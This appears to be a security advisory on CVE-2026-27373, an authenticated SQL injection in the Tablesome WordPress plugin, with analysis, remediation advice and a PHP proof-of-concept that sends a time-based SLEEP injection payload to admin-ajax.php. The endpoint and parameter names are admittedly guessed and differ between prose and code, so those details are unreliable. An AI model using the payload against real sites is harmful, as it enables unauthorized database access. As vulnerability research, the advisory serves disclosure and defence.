Atomic Edge analysis of CVE-2026-27373 (metadata-based):
This vulnerability is an authenticated SQL injection in the Tablesome WordPress plugin, affecting versions up to and including 1.2.3. The flaw allows authenticated users with subscriber-level permissions or higher to inject malicious SQL commands. The CVSS score of 6.5 (Medium) reflects the requirement for authentication and the impact of data confidentiality.
Atomic Edge research identifies the root cause as insufficient escaping and lack of prepared statements for user-supplied parameters within an SQL query. The CWE-89 classification confirms this is a classic SQL injection flaw. Without access to the source code diff, this conclusion is inferred from the vulnerability description and the CWE. The description explicitly states insufficient escaping and lack of sufficient preparation, which are direct indicators of unsanitized input concatenated into a database query.
Exploitation likely occurs via a WordPress AJAX handler or REST API endpoint registered by the plugin. An attacker with a subscriber account would send a crafted POST request to `/wp-admin/admin-ajax.php`. The request would include an `action` parameter matching a Tablesome-specific hook, such as `tablesome_action`, and a vulnerable parameter, such as `id` or `filter`. A payload like `1′ AND (SELECT 1 FROM (SELECT SLEEP(5))a)–` could be used to test for time-based injection and confirm the vulnerability.
Remediation requires implementing proper input validation and using prepared statements via the WordPress `$wpdb` class. The patched version 1.2.4 likely replaced raw SQL query concatenation with `$wpdb->prepare()` calls. This ensures user input is properly escaped and treated as data, not executable SQL code. The fix must also validate user capabilities, though the vulnerability description confirms a proper capability check was present but insufficient.
The impact of successful exploitation is unauthorized information disclosure from the WordPress database. Attackers can extract sensitive data including user credentials, personally identifiable information, and other plugin-specific data. The CVSS vector indicates high impact on confidentiality (C:H) with no direct impact on integrity or availability. This vulnerability does not lead to privilege escalation or remote code execution directly, but stolen data can facilitate further attacks.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27373 - Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent <= 1.2.3 - Authenticated (Subscriber+) SQL Injection
<?php
/**
* Proof-of-Concept for CVE-2026-27373.
* ASSUMPTIONS: The vulnerable endpoint is a WordPress AJAX handler.
* The vulnerable parameter is a user-controlled input used in an SQL query without proper preparation.
* A valid subscriber-level WordPress session cookie is required.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$cookie = 'wordpress_logged_in_abc=...'; // CHANGE THIS: Valid subscriber session cookie
// The AJAX 'action' parameter is inferred from the plugin slug 'tablesome'.
// Common patterns include 'tablesome_get_data', 'tablesome_load_table', etc.
$post_fields = [
'action' => 'tablesome_get_records', // Inferred action hook
// Assuming a parameter like 'table_id', 'filter', or 'search' is vulnerable.
'table_id' => "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--",
// The payload tests for time-based SQL injection. If vulnerable, the server response will be delayed by ~5 seconds.
'nonce' => '123456' // AJAX requests typically require a nonce, but the vulnerability may bypass proper nonce verification.
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Cookie: ' . $cookie,
'User-Agent: Atomic Edge PoC'
]);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect sleep delay
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
if ($elapsed > 5) {
echo "[+] Potential SQL Injection vulnerability detected. Response delayed by " . round($elapsed, 2) . " seconds.n";
echo "[+] Response snippet: " . substr($response, 0, 200) . "n";
} else {
echo "[-] No time delay detected. Vulnerability may not be present or a different payload/parameter is required.n";
echo "[-] Elapsed time: " . round($elapsed, 2) . " seconds.n";
}
?>
